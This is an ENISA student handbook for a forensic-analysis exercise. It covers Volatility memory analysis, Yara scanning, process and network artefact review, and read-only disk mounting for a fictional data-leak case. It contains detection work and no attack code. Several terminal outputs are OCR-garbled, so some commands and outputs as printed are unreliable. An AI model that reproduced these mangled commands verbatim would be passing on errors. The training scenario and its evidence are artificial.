



Forensic analysis Local Incident Response Toolset, Document for students

1.0 DECEMBER 2016



www.enisa.europa.eu

European Union Agency For Network And Information Security



About ENISA

The European Union Agency for Network and Information Security (ENISA) is a centre of network and information security expertise for the EU, its member states, the private sector and Europe's citizens. ENISA works with these groups to develop advice and recommendations on good practice in information security. It assists EU member states in implementing relevant EU legislation and works to improve the resilience of Europe's critical information infrastructure and networks. ENISA seeks to enhance existing expertise in EU member states by supporting the development of cross-border communities committed to improving network and information security throughout the EU. More information about ENISA and its work can be found at www.enisa.europa.eu.

Contact

For contacting the authors please use <u>cert-relations@enisa.europa.eu</u>. For media enquires about this paper, please use <u>press@enisa.europa.eu</u>.

Legal notice

Notice must be taken that this publication represents the views and interpretations of ENISA, unless stated otherwise. This publication should not be construed to be a legal action of ENISA or the ENISA bodies unless adopted pursuant to the Regulation (EU) No 526/2013. This publication does not necessarily represent state-of the-art and ENISA may update it from time to time.

Third-party sources are quoted as appropriate. ENISA is not responsible for the content of the external sources including external websites referenced in this publication.

This publication is intended for information purposes only. It must be accessible free of charge. Neither ENISA nor any person acting on its behalf is responsible for the use that might be made of the information contained in this publication.

Copyright Notice

© European Union Agency for Network and Information Security (ENISA), 2016 Reproduction is authorised provided the source is acknowledged.



Table of Contents

| 1. | Forward | 4 |
|-----|--|----|
| 2. | Story that triggers incident handling and investigation processes. | 5 |
| 3. | Environment preparation | 6 |
| 4. | Memory analysis | 9 |
| 4.1 | Checking memory dump file | 9 |
| 4.2 | Scanning memory with Yara rules | 10 |
| 4.3 | Analysis of the process list | 13 |
| 4.4 | Network artefacts analysis | 14 |
| 5. | Disk analysis | 16 |
| 5.1 | Mounting Windows partition and creating timeline | 16 |
| 5.2 | Antivirus scan | 25 |
| 5.3 | Filesystem analysis | 26 |
| 5.4 | Application logs analysis | 30 |
| 5.5 | Decompiling Python executable | 38 |
| 5.6 | Prefetch analysis | 41 |
| 5.7 | System logs analysis | 44 |
| 6. | Registry analysis | 48 |
| 6.1 | Copying and viewing registry | 48 |
| 6.2 | Inspecting registry timeline | 50 |
| 6.3 | UserAssist | 51 |
| 6.4 | List of installed applications | 52 |
| 7. | Building the timeline | 55 |



1. Forward

This three-day training module will follow the tracks of an incident handler and investigator, teaching best practices and covering both sides of the breach. It is technical in nature and has the aim to provide a guided training for both incident handlers and investigators while providing lifelike conditions. Training material mainly uses open source and free tools.



2. Story that triggers incident handling and investigation processes.

The customer's organization has found out that some of its sensitive data has been detected in online text sharing application. Due to the legal obligations and for business continuity purposes CSIRT team has been tasked to conduct an incident response and incident investigation to mitigate the threats.

Breach contains sensitive data and includes a threat notice that in a short while more data will follow. As the breach leads to specific employee's computer then CSIRT team, tasked to investigate the incident, follows the leads.

Below is presented a simplified overview of the training technical setup.





3. Environment preparation

All the practical exercises will be done using CAINE Linux. Import the provided virtual machine appliance which contains additional set of scripts and all files necessary for completing the exercises.

Next, attach separate storage drive with evidence files (memory dump and disk image) – evidence.vmdk.

| ٢ | | Caine Linux (Training) - | Settings | |
|----------|----------------|--------------------------|--------------------|--------------------------------|
| | General | Storage | | |
| I | System | Storege Tree | Attributes | |
| | Display | Storage free | Attributes | |
| 9 | Storage | Controller: IDE | Hard <u>D</u> isk: | IDE Primary Slave 🗸 🛛 🗸 |
| | Audio | 🗠 😥 cainelinux.vdi | | Solid-state Drive |
| ₽ | Network | | Information | |
| | Serial Ports | Empty | Type (Format): | Normal (VMDK) |
| | USB | | Virtual Size: | 200,00 GB |
| | Shared Folders | | Actual Size: | 25,06 MB |
| | | | Details: | Dynamically allocated storage |
| | | | Location: | Anne Gastid plk: VirtualBost . |
| | | | Attached to: | |
| | | | | |
| | | | | |
| | | 📑 🗖 🕹 🔄 | | |
| | <u>H</u> elp | | | Cancel OK |

Then start CAINE virtual machine and try to login into the system (user: enisa, password: enisa).

After logging into the system mount partition with the evidence files in read only mode. The easiest way to accomplish this is to use "Mounter" utility. "Mounter" can be started by clicking on the green hard drive icon at the bottom panel. Then choose partition with evidence files and click OK.



| Ш"м | lounte | r" (as supe | ruser) 🙀 | | | | -=× | | | | | | | |
|-------------------|--|-------------|----------------|----------|-----------------|---------|-----------|--|--|--|--|--|--|--|
| .2 | Detected BLOCK DEVICES and their current mount status. Selected devices are toggled mount/unmount. | | | | | | | | | | | | | |
| | Selected devices will be mounted READ-ONLY | | | | | | | | | | | | | |
| Make a selection: | | | | | | | | | | | | | | |
| | Device FS Type La | | | | l Size (MB) Mou | | Status | | | | | | | |
| | | /dev/sda1 | ext4 | SB@ | 30.719 | / | Writeable | | | | | | | |
| | \sim | /dev/sdb1 | e×t4 | evidence | 204.799 | (none) | (none) | | | | | | | |
| | | | | | Defrech | Capital | | | | | | | | |
| | | | | | *7 Refresh | Cancer | V UK | | | | | | | |
| | | | | | | | Mounting | | | | | | | |
| | | M" 🧕 🛛 | lounter" (as : | s ≻_ er | nisa@training: | = 🗶 🞑 | | | | | | | | |

After this operation evidence data should be available at the /media directory (in this case /media/sdb1).

Now open terminal and go to /media/sdb1/Windows directory (or any other directory where partition with evidence files was mounted) which contains three files:

- disk.raw raw image of Windows 10 disk (dd format)
- memory.img dump of Windows 10 memory taken shortly after the attack
- MD5SUMS file with MD5 sums of disk.raw and memory.img



Calculate checksums using *md5sum* command and then compare its output with checksums stored in MD5SUMS file.



| 🗖 enisa@training: /media/sdb1/Windows 🏪 | _ = × | | | | | | | | | |
|---|-------|--|--|--|--|--|--|--|--|--|
| File Edit View Search Terminal Help | | | | | | | | | | |
| enisa@training:/media/sdbl/Windows\$ cat MD5SUMS | | | | | | | | | | |
| 04b16c5a3ae70bet40e120tc821bee85 memory.1mg | | | | | | | | | | |
| 415689cdfb3928e10a9f3786bb650e05 disk.raw | | | | | | | | | | |
| enisa@training:/media/sdbl/Windows\$ md5sum memory.img disk.raw | | | | | | | | | | |
| 04b16c5a3ae70bef40e120fc821bee85 memory.img | | | | | | | | | | |
| 415689cdfb3928e10a9f3786bb650e05 disk.raw | | | | | | | | | | |
| enisa@training:/media/sdbl/Windows\$ | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |

If the checksums are correct proceed to the next exercises.



4. Memory analysis

4.1 Checking memory dump file

Start by executing Volatility *imageinfo* command which will provide general information about dumped memory.

| enisa@training: ~/training/tools/volatility | | | | | | | |
|--|---|--|--|--|--|--|--|
| File Edit View Search Terminal Help | | | | | | | |
| enisa@training:~/training/tools/volatility\$./vol.py -f /media/sdbl/Windows/memory.img imageinf | 0 | | | | | | |
| Volatility Foundation Volatility Framework 2.5 | | | | | | | |
| INFO : volatility.debug : Determining profile based on KDBG search | | | | | | | |
| Suggested Profile(s) : Win10x86, Win8SP0x86, Win81U1x86, Win8SP1x86, Win10x86_44B89EE | A | | | | | | |
| AS Layerl : IA32PagedMemoryPae (Kernel AS) | | | | | | | |
| AS Layer2 : FileAddressSpace (/media/sdb1/Windows/memory.img) | | | | | | | |
| PAE type : PAE | | | | | | | |
| DTB : 0x1a8000L | | | | | | | |
| KDBG : 0x82461820L | | | | | | | |
| Number of Processors : 1 | | | | | | | |
| Image Type (Service Pack) : O | | | | | | | |
| KPCR for CPU 0 : 0x8248b000L | | | | | | | |
| KUSER_SHARED_DATA : 0xffdf0000L | | | | | | | |
| Image date and time : 2016-08-17 12:00:47 UTC+0000 | | | | | | | |
| Image local date and time : 2016-08-17 14:00:47 +0200 | | | | | | | |
| enisa@training:~/training/tools/volatility\$ | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |

Correct profile to use is Win10x86_44B89EEA¹. Additionally to make commands execute faster specify addresses of DTB, KDBG and KPCR structures:

--dtb=0x1a8000 --kdbg=0x82461820 --kpcr=0x8248b000 --profile=Win10x86_44B89EEA

To check if everything is working try to list processes with the *pslist* command:

| 🗌 enisa@tra | ining: ~/training/tools/v | olatility | | | | | | | _ = × | | | |
|--|---------------------------|-----------|------|------|------|--|--------------|-------------------|------------------------------|--|--|--|
| File Edit N | /iew Search Terminal | Help | | | | | | | | | | |
| enisa@training:~/training/tools/volatility\$ time ./vol.py .f /media/sdb1/Windows/memory.imgkdbg=0x82461820dtb=0x1a8000kpcr=0x8248 | | | | | | | | | | | | |
| b000profile=Win10x86_44B89EEA pslist | | | | | | | | | | | | |
| Volatility Foundation Volatility Framework 2.5 | | | | | | | | | | | | |
| Offset(V) | Name | PID | PPID | Thds | Hnds | | Wow64 Start | | Exit | | | |
| | | | | | | | | | | | | |
| 0x868a7700 | System | | | 104 | | | 0 2016-08-16 | 12:54:24 UTC+0000 | | | | |
| 0x8d2af5c0 | | 244 | | | | | | 12:54:24 UTC+0000 | | | | |
| 0x8f7e3040 | csrss.exe | 324 | | | | | | 12:54:27 UTC+0000 | | | | |
| 0x9487c640 | smss.exe | 388 | 244 | | | | | 12:54:28 UTC+0000 | 2016-08-16 12:54:28 UTC+0000 | | | |
| 0x8b9bf300 | wininit.exe | 396 | | | | | 0 2016-08-16 | 12:54:28 UTC+0000 | | | | |
| 0x8f71d2c0 | csrss.exe | 408 | 388 | 11 | | | 0 2016-08-16 | 12:54:28 UTC+0000 | | | | |
| 0x94863c40 | winlogon.exe | 460 | 388 | | | | 0 2016-08-16 | 12:54:28 UTC+0000 | | | | |
| 0x8b9bc300 | services.exe | 488 | 396 | | | | 0 2016-08-16 | 12:54:29 UTC+0000 | | | | |
| 0x948c3040 | lsass.exe | 516 | 396 | | | | 0 2016-08-16 | 12:54:29 UTC+0000 | | | | |
| 0x948fb180 | svchost.exe | 576 | 488 | 19 | | | 0 2016-08-16 | 12:54:30 UTC+0000 | | | | |
| 0x94954380 | svchost.exe | 620 | 488 | 10 | | | 0 2016-08-16 | 12:54:30 UTC+0000 | | | | |
| 0x949bdc40 | dwm.exe | 716 | 460 | 13 | | | | 12:54:31 UTC+0000 | | | | |

Since all following commands during Windows memory analysis will be used with the same set of parameters, for convenience create alias to vol.py:

¹ This profile was introduced in one of the applied patches. When code is merged into main Volatility repository name of this profile might change.



vol='/home/enisa/training/tools/volatility/vol.py -f /media/sdb1/Windows/memory.img --*dtb=0x1a8000 -- kdbg=0x82461820 --kpcr=0x8248b000 --profile=Win10x86_44B89EEA*'

4.2 Scanning memory with Yara rules

Yara rules can be found at /home/enisa/training/ex1/yara-rules.

Open terminal and change to the yara-rules directory.

| enisa@training: ~/training/ex1/yara-rules | | | | | | | | | | | | |
|---|--------------------------|--|--|--|--|--|--|--|--|--|--|--|
| File Edit View Search Terminal Help | | | | | | | | | | | | |
| enisa@training:~\$ cd ~/training/exl/yara-rules/ enisa@training:~/training/exl/yara-rules\$ ls | | | | | | | | | | | | |
| Antidebug_AntiVM email LICENSE | Mobile_Malware Webshells | | | | | | | | | | | |
| CVE_Rules index.yar malware | | | | | | | | | | | | |
| enisa@training:~/training/exl/yara-rules\$ | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | 1113 | | | | | | | | | | | |

Create additional *.yar file, including all chosen *.yar files.

| 🗖 enisa@training: ~/training/ex1/yara-rules 🔤 👝 | _ = × |
|--|---------|
| File Edit View Search Terminal Help | |
| <pre>enisa@training:~/training/exl/yara-rules\$ find CVE_Rules/ Exploit-Kits/ malware/ -name</pre> | '*.yar' |
| -exec echo include \"`pwd`/{}\" \; > rules.yar | |
| enisa@training:~/training/exl/yara-rules\$ head rules.yar | |
| include "/home/enisa/training/ex1/yara-rules/CVE_Rules/CVE-2015-2426.yar" | |
| include "/home/enisa/training/ex1/yara-rules/CVE_Rules/CVE-2013-0422.yar" | |
| include "/home/enisa/training/ex1/yara-rules/CVE_Rules/CVE-2010-0887.yar" | |
| include "/home/enisa/training/ex1/yara-rules/CVE_Rules/CVE-2010-0805.yar" | |
| include "/home/enisa/training/ex1/yara-rules/CVE_Rules/CVE-2015-1701.yar" | |
| include "/home/enisa/training/ex1/yara-rules/CVE_Rules/CVE-2015-2545.yar" | |
| include "/home/enisa/training/ex1/yara-rules/CVE_Rules/CVE-2015-5119.yar" | |
| include "/home/enisa/training/ex1/yara-rules/CVE_Rules/CVE-2010-1297.yar" | |
| include "/home/enisa/training/ex1/yara-rules/CVE_Rules/CVE-2013-0074.yar" | |
| include "/home/enisa/training/ex1/yara-rules/Exploit-Kits/EK_BleedingLife.yar" | |
| enisa@training:~/training/exl/yara-rules\$ | |
| | |
| | |

Scan memory using yarascan plugin and the previously created rules file:





The general output format is as follows (results.txt file):

| 🔲 eni | sa@ti | raining | : ~/\ | train | ning, | /ex1 | /ya | ra-r | ules | 1 | | | | | | | | | _ = × |
|-------|-------|---------|-------|-------|-------|------|------|------|------|----|----|----|------|-------|------|-----|----|-----------|-------|
| File | Edit | View | Sea | arch | Te | 2 | rule | nar | ne | | | | | | | | | | |
| Rule: | : Sha | redSti | ring | gs 🕇 | | | | | | | | ma | atch | ied j | proc | ess | 5 | | |
| Owner | r: Pr | ocess | se | rvi | ces. | .exe | e Pi | id 4 | 488 | | | | | | | | | | |
| 0x036 | 5742b | 0 00 | 00 | 00 | 00 | 45 | 00 | 52 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | E.R | |
| 0x036 | 6742c | 0 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 4f | 00 | 50 | 00 | 0.P. | |
| 0x036 | 5742d | 0 00 | Ν | /lem | ory | dur | np v | vith | 00 | 00 | 00 | 00 | 00 | 52 | 00 | 56 | 00 | R.V. | |
| 0x036 | 6742e | 0 e0 | | ma | tche | d p | atte | m | 93 | 00 | 00 | 00 | 00 | 65 | 00 | 63 | 00 | .BgBge.c. | |
| 0x036 | 5742f | o fo | 42 | 67 | 03 | 10 | 42 | 67 | 03 | 00 | 00 | 00 | 00 | 6e | 00 | 64 | 00 | .BgBgn.d. | |
| 0x036 | 67430 | 0 00 | 43 | 67 | 03 | 00 | 43 | 67 | 03 | 00 | 42 | 67 | 03 | 00 | 00 | 00 | 00 | .CgCgBg | |
| 0x036 | 57431 | 0 00 | 00 | 00 | 00 | 33 | 00 | 32 | 00 | 00 | 00 | 00 | 00 | 40 | 00 | 00 | 00 | 3.2@ | |
| 0x036 | 57432 | 0 24 | 43 | 67 | 03 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | \$Cg | |
| 0x036 | 57433 | 0 31 | 24 | 00 | 00 | 00 | 00 | 00 | 00 | 15 | 5d | 0a | a4 | 55 | 00 | 00 | 00 | 1\$]U | |
| 0x036 | 57434 | 0 02 | 00 | 00 | 00 | 14 | 42 | 03 | 77 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | B.w | |
| 0x036 | 67435 | 0 40 | al | 05 | 77 | 54 | 43 | 67 | 03 | 54 | 43 | 67 | 03 | 00 | 00 | 00 | 00 | @wTCg.TCg | |
| 0x036 | 67436 | 00 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | | |
| 0x036 | 67437 | 0 f0 | 95 | 05 | 77 | аO | f2 | 6e | 03 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | wn | |
| 0x036 | 57438 | 00 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | | |
| 0x036 | 67439 | 0 00 | 00 | 00 | 00 | 58 | 2d | 60 | 03 | сO | 71 | 67 | 03 | 98 | 97 | 67 | 03 | X-`qgg. | |
| 0x036 | 5743a | 0 00 | 00 | 00 | 00 | 42 | be | 05 | 77 | 00 | 00 | 00 | 00 | 01 | 00 | 00 | 00 | Bw | |
| | | | | | | | | | | | | | | | | | | 1,1 | Тор |

Count all distinct rules detected:



To find which rule is defined in what file use *grep* tool:



Open malware/MALW_LURKO.yar file and inspect SharedStrings rule.





Check in which processes UPX and Xtreme RAT rules were detected.





4.3 Analysis of the process list

List all running processes using Volatility *pslist* plugin:

| 🔲 enisa@training: ~ 📲 | | | | | | | | - • × | | | |
|--|---------|--------|------|------|------|-------------|------------------------|------------------------------|--|--|--|
| File Edit View Search | Termina | l Help | | | | | | | | | |
| enisa@training:~\$ vol pslist cut -c 12- | | | | | | | | | | | |
| Volatility Foundation Volatility Framework 2.5 | | | | | | | | | | | |
| Name | PID | PPID | Thds | Hnds | Sess | Wow64 Start | | Exit | | | |
| Gueten | | | 104 | | | | | | | | |
| System | | | 104 | | | 0 2016-08 | 3-16 12:54:24 010+0000 | | | | |
| smss.exe | 244 | 4 | | | | 0 2016-08 | 3-16 12:54:24 UTC+0000 | | | | |
| csrss.exe | 324 | 316 | 10 | | | 0 2016-08 | 8-16 12:54:27 UTC+0000 | | | | |
| smss.exe | 388 | 244 | | | | 0 2016-08 | 8-16 12:54:28 UTC+0000 | 2016-08-16 12:54:28 UTC+0000 | | | |
| wininit.exe | 396 | 316 | | | | 0 2016-08 | 3-16 12:54:28 UTC+0000 | | | | |
| csrss.exe | 408 | 388 | 11 | | | 0 2016-08 | 3-16 12:54:28 UTC+0000 | | | | |
| winlogon.exe | 460 | 388 | | | | 0 2016-08 | 3-16 12:54:28 UTC+0000 | | | | |
| services.exe | 488 | 396 | | | | 0 2016-08 | 3-16 12:54:29 UTC+0000 | | | | |
| lsass.exe | 516 | 396 | | | | 0 2016-08 | 8-16 12:54:29 UTC+0000 | | | | |
| svchost.exe | 576 | 488 | 19 | | | 0 2016-08 | 8-16 12:54:30 UTC+0000 | | | | |
| svchost.exe | 620 | 488 | | | | 0 2016-08 | 8-16 12:54:30 UTC+0000 | | | | |
| dwm.exe | 716 | 460 | 13 | | | 0 2016-08 | 3-16 12:54:31 UTC+0000 | | | | |

Search the process list for the PIDs of processes containing malicious code from the previous task:

| 📃 enisa@training: ~ 😘 | | _ | _ | _ | _ | _ | _ | _ | _ | | _ = × |
|---|----------|------|---|---|-----|------------|----------|----------|------------|----------|----------|
| File Edit View Search | Terminal | Help | | | | | | | | | |
| enisa@training:~\$ vol pslist cut -c 12- egrep '(4888 4872 5172)' | | | | | | | | | | | |
| Volatility Foundation Volatility Framework 2.5 | | | | | | | | | | | |
| svchost.exe | 4888 | 4748 | | | 1 0 | 2016-08-16 | 13:02:57 | UTC+0000 | | | |
| explorer.exe | 4872 | 4748 | | | 1 0 | 2016-08-16 | 13:02:58 | UTC+0000 | | | |
| update.exe | 5172 | 5860 | | | 1 0 | 2016-08-16 | 13:03:04 | UTC+0000 | | | |
| cmd.exe | 1976 | 5172 | | | 1 0 | 2016-08-16 | 13:04:47 | UTC+0000 | 2016-08-16 | 13:07:36 | UTC+0000 |
| cmd.exe | 736 | 5172 | | | 1 0 | 2016-08-16 | 13:07:40 | UTC+0000 | 2016-08-16 | 13:43:12 | UTC+0000 |
| cmd.exe | 2748 | 5172 | | | 1 0 | 2016-08-16 | 13:50:51 | UTC+0000 | 2016-08-16 | 14:08:30 | UTC+0000 |
| cmd.exe | 5280 | 5172 | | | 1 0 | 2016-08-16 | 14:17:24 | UTC+0000 | 2016-08-16 | 14:18:48 | UTC+0000 |
| cmd.exe | 868 | 5172 | | | 1 0 | 2016-08-16 | 14:19:45 | UTC+0000 | 2016-08-16 | 14:23:02 | UTC+0000 |
| cmd.exe | 3540 | 5172 | | | 1 0 | 2016-08-16 | 14:23:05 | UTC+0000 | 2016-08-16 | 14:23:46 | UTC+0000 |
| enisa@training:~\$ | | | | | | | | | | | |

Search for parent processes of explorer.exe, svchost.exe and update.exe (PIDs: 4748 and 5860):

| 🗌 enisa@training: ~ 🏪 | | | | | | | - - X | | | | | |
|--|-----------|-----------|-----------|--|--|--------------------------------|--------------|--|--|--|--|--|
| File Edit View Search Terminal Help | | | | | | | | | | | | |
| enisa@training:~\$ vol pslist cut -c 12- egrep '(4748 5860)' | | | | | | | | | | | | |
| Volatility Foundation | n Volatil | lity Fran | nework 2. | | | | | | | | | |
| svchost.exe | 4888 | 4748 | | | | 0 2016-08-16 13:02:57 UTC+0000 | | | | | | |
| explorer.exe | 4872 | 4748 | | | | 0 2016-08-16 13:02:58 UTC+0000 | | | | | | |
| svchost.exe | 2168 | 5860 | | | | 0 2016-08-16 13:03:04 UTC+0000 | | | | | | |
| update.exe | 5172 | 5860 | | | | 0 2016-08-16 13:03:04 UTC+0000 | | | | | | |
| enisa@training:~\$ | | | | | | | | | | | | |

Check the command line which was used to start given process using the *dlllist* plugin:



| enisa@training: ~ 🔤 | - • × |
|--|-------|
| File Edit View Search Terminal Help | |
| enisa@training: ~\$ vol dlllist -p 4888 grep 'Command line' Volatility Foundation Volatility Framework 2.5 Command line : sychost.exe | |
| enisa@training:~\$ vol dlllist -p 4872 grep 'Command line' Volatility Foundation Volatility Framework 2.5 | |
| Command line : explorer.exe episa@training:~\$ vol dlllist -p 5172 grep 'Command line' | |
| Volatility Foundation Volatility Framework 2.5 | |
| Command line : C:\Users\Peter\AppData\Roaming\HostData\update.exe enisa@training:~\$ | |
| | |

Search for the processes named *explorer.exe*:

| 🔲 enisa@training: ~ | 1900 | | _ | | _ | _ | | | | - B X |
|---------------------|---------------|---------|---------|---------|---------|---------|----------|-------------|------------|-------|
| File Edit View Se | arch Terminal | Help | | | | | | | | |
| enisa@training:~\$ | vol pslist | cut | -c 12- | egrep ' | (Name e | xplorer | .exe)' | | | |
| Volatility Founda | tion Volatil | ity Fr. | amework | 2.5 | | | | | | |
| Name | PID | PPID | Thds | Hnds | Sess | Wow64 | Start | | | Exit |
| explorer.exe | 2068 | 1556 | 57 | | | | 2016-08- | 16 12:55:36 | 5 UTC+0000 | |
| explorer.exe | 4872 | 4748 | | | | | 2016-08- | 16 13:02:58 | 3 UTC+0000 | |
| enisa@training:~\$ | | | | | | | | | | |
| | | | | | | | | | | |

4.4 Network artefacts analysis

Search memory for artefacts of network connections using the *netscan* Volatility plugin.

| 🗌 enisa | @training: ~ 🔤 | | | | | _ = × |
|---------|--|-----------------|---------------|------|-------------|------------------------------|
| File E | dit View Search Terminal Help | | | | | |
| enisa@1 | t raining:~ \$ vol netscan cut -c : | 20- | | | | |
| Volati | ity Foundation Volatility Framew | ork 2.5 | | | | |
| Proto | Local Address | Foreign Address | State | Pid | Owner | Created |
| TCPv4 | 192.168.5.100:59280 | -:443 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:59280 | -:443 | EST ABLI SHED | | | |
| UDPv4 | 127.0.0.1:512 | | | 5128 | Skype.exe | 2016-08-16 12:57:46 UTC+0000 |
| TCPv4 | 192.168.5.100:59277 | 0.0.0.29:80 | EST ABLI SHED | | | |
| UDPv4 | | | | 1132 | svchost.exe | 2016-08-17 12:01:09 UTC+0000 |
| UDPv6 | | | | 1132 | | 2016-08-17 12:01:09 UTC+0000 |
| UDPv4 | 0.0.0.0:512 | | | 5128 | Skype.exe | 2016-08-17 12:01:04 UTC+0000 |
| UDPv4 | 0.0.0.0:512 | | | 1132 | svchost.exe | 2016-08-17 12:00:28 UTC+0000 |
| UDPv4 | 0.0.0.0:0 | | | 800 | | 2016-08-16 12:57:14 UTC+0000 |
| UDPv4 | 192.168.5.100:512 | | | | System | 2016-08-17 12:00:28 UTC+0000 |
| UDPv6 | fe80::28b6:9b1e:817d:11e5:5888 | | | 848 | | 2016-08-17 12:00:24 UTC+0000 |
| UDPv4 | 0.0.0.0:0 | *:* | | 1132 | sychost.exe | 2016-08-17 12:00:28 UTC+0000 |

Inspection of the list can reveal a few connections to nonstandard TCP ports:

| enisa@training: ~ | | | _ | | _ = × |
|--------------------------------------|------------------------|---------------|-----|-------|---------|
| File Edit View Search Terminal Help | | | | | |
| enisa@training:~\$ vol netscan egr | ep '(State :123 :330)' | cut -c 20- | | | |
| Proto Local Address | Eoreign Address | State | Pid | Owner | Created |
| TCPv4 192.168.5.100:49847 | -:12350 | ESTABLISHED | -1 | owner | Groated |
| TCPv4 192.168.5.100:59220 | -:12345 | EST ABLI SHED | | | |
| TCPv4 192.168.5.100:59271 | -:12345 | EST ABLI SHED | | | |
| TCPv4 192.168.5.100:59268 | -:33033 | CLOSED | | | |
| enisa@training:~\$ | | | | | |

There were also some connections to tcp/80 (HTTP) and tcp/443 (HTTPs):



| _ | | | | | | |
|-----------|----------------------------------|-----------------------|---------------|-----|-------|---------|
| 📃 enisa@ | training: ~ The | | | _ | | _ = × |
| File Edit | View Search Terminal Help | | | | | |
| enisa@tr | aining:~\$ vol netscan egrep ' | (State :443 :80)' c | ut -c 20- | | | |
| Volatili | ty Foundation Volatility Framew | ork 2.5 | | | | |
| Proto | Local Address | Foreign Address | State | Pid | Owner | Created |
| TCPv4 | 192.168.5.100:59280 | -:443 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:59280 | -:443 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:59277 | 0.0.0.29:80 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:49864 | -:443 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:58959 | 0.0.0.0:443 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:59250 | -:443 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:59265 | -:443 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:59246 | -:443 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:59234 | -:443 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:59283 | -:443 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:59269 | -:443 | EST ABLI SHED | | | |
| TCPv4 | 192.168.5.100:59274 | -:443 | CLOSED | | | |
| enisa@tr | aining:~\$ | | | | | |



5. Disk analysis

5.1 Mounting Windows partition and creating timeline

List partitions present on the disk image:

| 🗌 enisa | a@training: | /media/sdb1/Wi | indows | | | - • × |
|--|---|--|--|---|---|-------|
| File E | dit View | Search Termina | l Help | | | |
| enisa@ DOS Pa Offset Units | training:, rtition Ta Sector: (are in 512 | / media/sdb1/W able o 2-byte sector: | indows\$ mmls s s | disk.raw | | |
| 000: 001: 002: 003: 004: enisa@ | Slot Meta 000:000 000:001 training:, | Start 0000000000 000000000 000002048 0001026048 0050329600 /media/sdb1/W | End 0000000000 000002047 0001026047 0050329599 0050331647 indows\$ | Length 0000000001 000002048 0001024000 0049303552 0000002048 | Description Primary Table (#0) Unallocated NTFS / exFAT (0x07) NTFS / exFAT (0x07) Unallocated | |

Mount partition 003 at /mnt/part_c:

| enisa@training: /media/sdb1/Windows | _ = × |
|--|----------|
| File Edit View Search Terminal Help | |
| enisa@training:/media/sdbl/Windows\$ sudo mkdir /mnt/part_c | |
| enisa@training:/media/sdbl/Windows \$ sudo mount -t ntfs -o ro,offset=525336576 disk.raw /mnt | /part_c/ |
| enisa@training:/media/sdbl/Windows\$ ls /mnt/part_c/ | |
| autoexec.bat config.sys ProgramData IRecycle.Bin Users | |
| bootmgr pagefile.sys Program Files swapfile.sys Windows | |
| BOOTNXT PerfLogs Recovery System Volume Information | |
| enisa@training:/media/sdbl/Windows\$ | |
| | |
| | |
| | |

Start Autopsy (system menu -> Forensic Tools -> Autopsy 2.24):



| 🔜 autopsy (as superuser) | _ = × |
|--|-------|
| Autopsy Forensic Browser http://www.sleuthkit.org/autopsy/ ver 2.24-1 | === |
| Evidence Locker: /usr/share/caine/report/autopsy Start Time: Thu Aug 25 16:06:37 2016 Remote Host: localhost Local Port: 9999 | |
| Open an HTML browser on the remote host and paste this URL in it: | |
| http://localhost:9999/autopsy | |
| Keep this process running and use <ctrl-c> to exit</ctrl-c> | |

If the web browser wasn't yet started in the system, it should start now. Otherwise open new tab in browser and go to <u>http://localhost:9999/autopsy</u>.



Create new case by clicking "New Case" and then filling the form as presented on the screenshot below. Then click "New Case" again.



| A - | A New Case - Mozi | lla Firefox (as superus | er) | | [| _ 0 |
|-------------------------------------|--|--------------------------|----------------------------|--------------------------|----------|-----|
| Cre | eate A New Case | × + | | | | |
| ;) 🕲 l | ocalhost:9999/auto | opsy?mod=0&view=1 | ▼ C ⁱ | Q Search | >>> | Ξ |
| | | | | | | |
| | | CREATE A | NEW CA | SE | | |
| 1. Ca | se Name: The nan | ne of this investigation | . It can contai | n only letters, numbers | s, and | |
| symp | OIS. | | | | | |
| In | aining | | | | | |
| 2 De | scription: An optic | onal one line descripti | on of this cas | e | | |
| E. DO | | inal, one inte desempti | | | | |
| | is A fraining | | | | | |
| 3. Inv | vestigator Names: | The optional names (| with no space | es) of the investigators | for this | |
| | J. J | | 1 | , . | | |
| case. | | | | | | |
| case. a. | Trainee | | b. | | | |
| case. a. c. | Trainee | | b | | | |
| case. a. c. e. | Trainee | | b d | | | |
| case. a. c. e. g. | Trainee | | b. d. f. h. | | | |
| case. a. c. e. g. | Trainee | | b. d. f. h. | | | |
| case. a. c. e. g. i. | Trainee | | b. d. f. h. j. | | | |
| case. a. c. e. g. i. | Trainee | | b. d. f. h. j. | | | |

On the next page you will be informed about path to the case files (including some intermediate results). Click "Add Host".

| Creating Case: Training - Mozilla Firefox | _ = × |
|--|-------|
| 😳 Restore Session 🛛 🗙 🎊 Creating Case: Training 🗙 🕂 | |
| ♦ localhost:9999/autopsy?mod=0&view=2&ca ▼ C Search >> | ≡ |
| Creating Case: Training | |
| Case directory (/usr/share/caine/report/autopsy/Training/) created Configuration file (/usr/share/caine/report/autopsy/Training/case.aut) created | |
| We must now create a host for this case. | |
| Please select your name from the list: Trainee 🛟 | |
| ADD HOST | |
| | |

On the next page, specify at least a Host Name and then click "Add Host". It's also worth to specify GMT time zone to be sure this time zone will be used for displaying times during file analysis.



| Add A New Host | To Training - Mozilla Firefox (as superuser) 🔤 👘 | _ | | <u> </u> |
|----------------|--|----|---|----------|
